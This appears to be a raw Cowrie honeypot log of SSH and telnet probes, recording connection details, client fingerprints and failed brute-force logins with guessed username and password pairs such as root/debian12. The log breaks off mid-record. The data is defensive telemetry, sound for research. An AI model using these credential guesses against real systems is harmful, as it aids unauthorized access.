{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:58.691877Z","src_ip":"185.215.164.223","session":"fa5197913afc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":41952,"dst_ip":"159.203.135.109","dst_port":22,"session":"276f2963792d","protocol":"ssh","message":"New connection: 103.77.242.62:41952 (159.203.135.109:22) [session: 276f2963792d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:58.824791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:58.828506Z","src_ip":"103.77.242.62","session":"276f2963792d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vauld456","message":"login attempt [root/vauld456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:58.981533Z","src_ip":"185.215.164.223","session":"fa5197913afc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:59.064138Z","src_ip":"103.77.242.62","session":"276f2963792d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"06041985","message":"login attempt [root/06041985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:59.775889Z","src_ip":"103.77.242.62","session":"276f2963792d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:00.080295Z","src_ip":"185.215.164.223","session":"fa5197913afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:01.014067Z","src_ip":"103.77.242.62","session":"276f2963792d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":51242,"dst_ip":"10.17.0.5","dst_port":22,"session":"01d33872ff7a","protocol":"ssh","message":"New connection: 2.57.122.238:51242 (10.17.0.5:22) [session: 01d33872ff7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:03.736790Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:03.850943Z","src_ip":"2.57.122.238","session":"01d33872ff7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":37856,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cadd8ec4357","protocol":"ssh","message":"New connection: 91.92.40.4:37856 (10.17.0.5:22) [session: 7cadd8ec4357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:10.567961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:10.571969Z","src_ip":"91.92.40.4","session":"7cadd8ec4357","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:10.652834Z","src_ip":"91.92.40.4","session":"7cadd8ec4357","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"P@ssw0rd","message":"login attempt [postgres/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:10.963877Z","src_ip":"91.92.40.4","session":"7cadd8ec4357","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:12.047609Z","src_ip":"91.92.40.4","session":"7cadd8ec4357","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44602,"dst_ip":"159.203.135.109","dst_port":23,"session":"b26dadc6cd8a","protocol":"telnet","message":"New connection: 170.64.224.25:44602 (159.203.135.109:23) [session: b26dadc6cd8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:13.862840Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.160.226.51","src_port":39748,"dst_ip":"159.203.135.109","dst_port":22,"session":"511c55b7e012","protocol":"ssh","message":"New connection: 217.160.226.51:39748 (159.203.135.109:22) [session: 511c55b7e012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:17.859257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:17.864592Z","src_ip":"217.160.226.51","session":"511c55b7e012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:17.969088Z","src_ip":"217.160.226.51","session":"511c55b7e012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian12","message":"login attempt [root/debian12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:18.422851Z","src_ip":"217.160.226.51","session":"511c55b7e012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:19.537799Z","src_ip":"217.160.226.51","session":"511c55b7e012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37652,"dst_ip":"159.203.135.109","dst_port":23,"session":"df971e2685e2","protocol":"telnet","message":"New connection: 170.64.224.25:37652 (159.203.135.109:23) [session: df971e2685e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:21.254295Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37666,"dst_ip":"159.203.135.109","dst_port":23,"session":"42ad9e712244","protocol":"telnet","message":"New connection: 170.64.224.25:37666 (159.203.135.109:23) [session: 42ad9e712244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:26.184768Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37332,"dst_ip":"159.203.135.109","dst_port":23,"session":"f25e422bb27b","protocol":"telnet","message":"New connection: 170.64.224.25:37332 (159.203.135.109:23) [session: f25e422bb27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:30.534276Z"}
{"eventid":"cowrie.session.closed","duration":71.19702649116516,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:42.544866Z","src_ip":"137.184.5.188","session":"70baa0536f3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.216.105","src_port":49352,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e1ad7d08314","protocol":"ssh","message":"New connection: 172.190.216.105:49352 (10.17.0.5:22) [session: 0e1ad7d08314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:47.058429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:48.285329Z","src_ip":"172.190.216.105","session":"0e1ad7d08314","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:48.305183Z","src_ip":"172.190.216.105","session":"0e1ad7d08314","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":42978,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae64f9c7ecc8","protocol":"ssh","message":"New connection: 162.254.35.142:42978 (10.17.0.5:22) [session: ae64f9c7ecc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:50.608576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:50.613935Z","src_ip":"162.254.35.142","session":"ae64f9c7ecc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:50.681100Z","src_ip":"162.254.35.142","session":"ae64f9c7ecc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"armenia","password":"Yerevan#Bitc0!n$M@st3r","message":"login attempt [armenia/Yerevan#Bitc0!n$M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:50.883502Z","src_ip":"162.254.35.142","session":"ae64f9c7ecc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:51.955017Z","src_ip":"162.254.35.142","session":"ae64f9c7ecc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.19030547142029,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:55.053025Z","src_ip":"170.64.224.25","session":"b26dadc6cd8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.473191022872925,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:56:55.727381Z","src_ip":"170.64.224.25","session":"df971e2685e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.249.148","src_port":36572,"dst_ip":"159.203.135.109","dst_port":22,"session":"e21ec29dd92a","protocol":"ssh","message":"New connection: 192.169.249.148:36572 (159.203.135.109:22) [session: e21ec29dd92a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:00.342422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:00.347647Z","src_ip":"192.169.249.148","session":"e21ec29dd92a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:00.413297Z","src_ip":"192.169.249.148","session":"e21ec29dd92a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"accra_crypto","password":"accra123","message":"login attempt [accra_crypto/accra123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:00.610447Z","src_ip":"192.169.249.148","session":"e21ec29dd92a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:01.678074Z","src_ip":"192.169.249.148","session":"e21ec29dd92a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.84167122840881,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:03.026311Z","src_ip":"170.64.224.25","session":"42ad9e712244","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123zxc","message":"login attempt [root/qwe123zxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:04.132659Z","src_ip":"172.190.216.105","session":"0e1ad7d08314","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.1.118","src_port":47438,"dst_ip":"159.203.135.109","dst_port":22,"session":"14b8d33badce","protocol":"ssh","message":"New connection: 223.17.1.118:47438 (159.203.135.109:22) [session: 14b8d33badce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:06.207769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:57:06.211733Z","src_ip":"223.17.1.118","session":"14b8d33badce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 